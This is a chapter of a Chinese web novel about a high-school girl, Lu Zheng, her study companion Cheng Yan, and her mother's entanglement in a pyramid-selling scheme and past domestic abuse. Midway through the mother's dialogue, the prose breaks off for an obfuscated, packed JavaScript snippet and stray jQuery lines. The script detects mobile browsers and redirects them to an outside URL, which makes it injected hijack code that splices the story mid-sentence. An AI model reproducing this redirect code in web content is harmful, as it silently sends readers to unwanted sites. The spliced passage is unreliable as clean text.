21.第 21 章

作品:《我在楼阁里

    “程衍?”


    陆铮小声惊呼出声,她几乎忘记了自己还在阅览室内,“你你你你你你……你怎么在这儿?”


    程衍迅速地将食指放在唇边,朝陆铮比了个噤声的姿势。


    陆铮意识到了自己的失态,瞥了一眼坐在阅览室的其他人,不好意思地垂下了头。


    她捏着笔,在纸上潦草地写下了对话,


    “你怎么来了?”


    程衍面色平静地看着陆铮递来的草稿纸,却没有立即提笔。


    他的五指按着草稿纸,目光回到了自己面前的习题册上。


    程衍的沉默,让陆铮意识到——对方很有可能正在为了自己的欺瞒生气。


    她咬了咬唇,有些纠结。


    是否该告诉程衍自己那一日的心结,成了陆铮午睡醒来后纠结的事情。


    但短暂的思索过后,陆铮选择了一个最有效的方式——逃避。


    逃避虽然可耻,但确实有用。


    陆铮默默地垂下眼眸,重新写起了自己的作业。


    而当对面重新响起笔尖在纸上摩擦的沙沙声,程衍愣住了。


    他没有料想到的是,陆铮并没有对自己说不来图书馆,又出现在这里的反常行为作出任何的解释,而是选择了缄口不言。


    一种烦躁的感觉浮上了程衍的心头,想问问她为什么这么反常,也想问问她为什么出尔反尔。


    程衍提起笔,在草稿纸的上方悬浮着。


    “你又不喜欢她,你这么纠结做什么?”


    他的脑海中忽然闪过了昨夜程卿瑜的话,手下已经写到一半的问句又被匆匆地涂掉。


    程衍也不明白自己怎么了。


    他抬头瞥了一眼对面的陆铮,她已经褪去了睡意,在奋笔疾书地写着作文。


    温和的日光沿着窗框,一路溜进室内,不仅洒在了自己的身上,也同时洒在了陆铮的身上。


    她柔顺的黑发,因为光线的照耀,镀上了淡淡的金光。


    在陆铮有些凌乱的刘海之下,是因为午睡而落下的红印子,而顶着一头红印的当事人显然并没有注意到这一点。


    为什么要弄清楚缘由呢?


    程衍突然在心里自言自语了一句,那横在心尖上的烦闷也在瞬间消散了。


    他一直以来,不都是想做什么就做什么的吗?


    想到这里,程衍盯着少女头上那淡粉色的红印,莫名觉得有些好笑,在轻笑声出现的同时,程衍在草稿纸上留下了回答。


    “也不想在家里学了,就来了。”


    他将草稿纸递给陆铮的时候,心里响起了答案——因为想见你。


    此刻的少年人,或许还不明白自己会突发奇想地离开家里安逸的书房,背上书包来到图书馆。


    他也不明白,自己为什么会灵光一闪,从一楼爬到了五楼,找遍了每一间阅览室,终于在一间陌生的屋内找到了趴着昏睡的陆铮。


    他就是抱着想要见她的念头,“跋山涉水”地来见她。


    他就是抱着,或许、可能、也许,她会出现在这里,所以就这么做了。


    少年人的真心总是动人,不问缘由,不究其因,只是因为想,所以就做了。


    ……


    那一日图书馆意外的“偶遇”,并没有让陆铮与程衍之间产生矛盾,相反,两人都心照不宣地避开了那场“拒绝”。


    程衍虽然并不明白陆铮为什么因为那顿午餐而感到不适,但他却学会了尊重——在午餐时间以自己要回家吃饭的理由,和陆铮告别。


    等到午餐结束后,他才会回到阅览室。


    阅览室良好的学习环境,和在程衍时不时的指导下,陆铮的成绩终于在理科班趋于稳定。


    繁忙的学习生活,让时间匆匆流逝。


    陆文康以腰伤拒绝工作后,就长时间地待在家中。


    他拒绝向晏霞支付生活费,也拒绝出去工作——他想早早退休,哪怕现在他的年纪正值壮年。


    巨大的生活重担,就在无形之中转移到了晏霞的身上。


    晏霞以陆铮肉眼可见的速度衰老了下去,白色攀上了爱美妈妈的头发,皱纹也在无声无息中布满了她的脸颊。


    陆铮心疼晏霞的衰老,也厌恶陆文康一如既往的不作为,但她无能为力。


    转眼已经是高二的下半学期。


    “铮铮回来啦?”


    陆铮像往常一样,披着黑夜的外袍归家的时候,却罕见地没在屋内闻见浓重的烟味。


    家里逼仄的客厅换上了崭新的白炽灯,厨房内飘来了热腾腾的饭菜香气。


    陆铮的视线匆匆地扫了一圈,没有找到陆文康和王桂帆的痕迹。


    晏霞端着一满盘的白灼虾走到了客厅,眉眼以一种好看的状态舒展开,“快洗手吃饭吧?”


    晏霞的情绪太高涨了,高涨得不像样。


    陆铮轻启唇瓣,“爸爸和奶奶呢?”


    “被你姑妈带到乡下去了,应该要玩一阵子。”


    “真的吗?!”这个意外的消息,让陆铮高兴地提高了音量。


    而晏霞和她有一样的感受,“真的。”


    “那我先去放书包。”得到了肯定的答复,陆铮一改往日回到家的拘谨样子,欢快地蹬掉了脚上的鞋,奔进了自己的卧室。


    这一顿饭,比以往的任何一次都要丰盛,天真的陆铮原以为这是一场庆功宴——为了接下来的一段时间,这个小家里只有彼此的庆功宴。


    “铮铮啊。”晏霞将盘子内最大的一只虾,夹到了陆铮的碗里,“你有没有想要什么礼物呀?新手机?”


    自从陆文康居家以来,晏霞的疲惫也造就了她的怨气。


    她会不停地在陆铮的耳边念叨着,“男人没一个好东西,男人都很可恶。”


    “我为什么要养着这样一个废物。”


    晏霞的小学学历,让她在这个市场上求职艰难,她的收入只能让一家人勉强糊口,陆铮明白这一点。


    因为不负责任的父亲,母亲瘦弱的肩膀承担得太多了。


    但今天的晏霞,不太一样。


    她浑浊的瞳孔里闪着欣喜的目光,她望向陆铮的眼中满是慈爱与询问。


    晏霞见陆铮不说话,又开口道,“嗯?”


    “我没什么想要的。”陆铮扒了一口饭,有些不安。


    “怎么会没什么想要的呢?”晏霞眼中难掩兴奋,“你现在正是大好的年纪,之前妈妈没钱,没办法给你买漂亮的衣服买新款的手机,现在不一样了。你只要想要,妈妈都能给你买的。”


    “那个叫什么……苹果?你之前不是说班上很多同学都有最新款嘛?”


    意外的“礼物”,没有带来幸福感,反而让陆铮的不安又增长了几分。


    陆铮:“妈妈……你哪来的钱?”


    晏霞抿起了唇,犹豫了片刻,“妈妈现在没有,但是妈妈和你保证,明年!明年等你高考的时候,妈妈就会有很多很多的钱,到时候你想要什么,妈妈都会


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003089|136092||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    给你买的。”


    “到时候,我们家就会变得有钱起来,再也不用因为这些鸡毛蒜皮的事情难受了。”


    “我会成为这个家的顶梁柱的。”


    那顿异常丰盛的晚餐,在晏霞侃侃而谈的宏图伟业当中进行着。


    那是一座由泡沫构筑的城堡。


    晏霞加入了一个“集团”,在这个集团的带领下,她只需要不断地推销出集团的产品,她就会拥有分红。


    而这个产品,包治百病。


    当推销的人头数不断累积,累积到了一定的数额,晏霞就会从中获利,最开始可能只是微薄的几百块,但在晏霞的憧憬里,不出一年她就会成为坐拥一百万的富翁。


    晏霞眼中是被这些虚无缥缈的未来填满的期冀,也是陆铮第一次看见这样自信、这样侃侃而谈的母亲。


    那时尚未步入社会的陆铮,并不明白这场骗局的核心,但她心中莫名的不安给了她答案——


    “妈。”陆铮放下了手中的筷子,对上了晏霞满是希望的双眸,突然有些语塞。


    她希望妈妈可以这样自信,可以摆脱陆文康和这个家给她带来的阴影。


    陆铮一直记得第一次知道自己名字的由来——


    那是一个狂风骤雨的夜晚,陆文康不在家,王桂帆早早就睡了。


    窗外是雷雨交加的白噪音,晏霞和陆铮依偎在一起,晏霞一边摸着女儿的脑袋,一边轻声道,她的声音里夹杂着轻微的颤抖,


    “我记得那个时候,你刚三岁,我就看见你爸在街上和别的女人有说有笑,牵着手。”


    “我太生气了,我冲上前去质问他,去质问那个女人,为什么要勾引我男人。我没有等到他们两个人的回答,我只等到了你爸爸、那个死男人的一巴掌。”


    晏霞说到这里,抚摸陆铮脑袋的手一顿,“他回家一边打我,一边让我去和那个女人道歉。”


    “我不道歉,他就发狠地打我。”


    晏霞在黑暗中的双眸染上了水光,“我那天本来想走的,但是我看见了你,小小一个的你,铮铮。你就趴在床上,睁着水汪汪的眼睛,看着我,喊妈妈,妈妈……”


    “我当时就在想,如果我走了,你爸再娶,我们铮铮该吃多少的苦啊……”


    晏霞的声音哽咽了,陆铮躺在妈妈的肚子上,伸手握住了她布满老茧的双手。


    陆铮不知道该怎么安慰晏霞,她甚至觉得“妈妈,我爱你”都有些艰涩。


    她只能用行动不断地告诉晏霞,我在,妈妈我在,你的铮铮一直都在。


    晏霞似乎意识到了自己在女儿面前露出了脆弱,她连忙转移话题,用着还有些哽咽的声音接着说,


    “铮铮,你知道你为什么叫陆铮吗?”


    黑暗中陆铮眨了眨明亮的双眼,“为什么?”


    “妈妈没有文化,妈妈也不记得从哪里听见的成语还是别的什么了——铁骨铮铮。”


    晏霞顿了顿,“对,就是铁骨铮铮,应该是形容一个人有骨气很坚强。我第一次听到这个‘铮’字,我就觉得太好了,太棒了。”


    “妈妈我没出息,没文化,也没骨气。但我就希望我的女儿,我生命的延续——你,陆铮,可以做个铁骨铮铮、坚定不屈的人。”


    不愉快的回忆似乎让晏霞更坚信了自己的想法,“你是个女孩儿也很好。”


    “不,不对。”


    晏霞又很快否定了自己不恰当的说辞,“你是个女孩儿很好,铮铮。”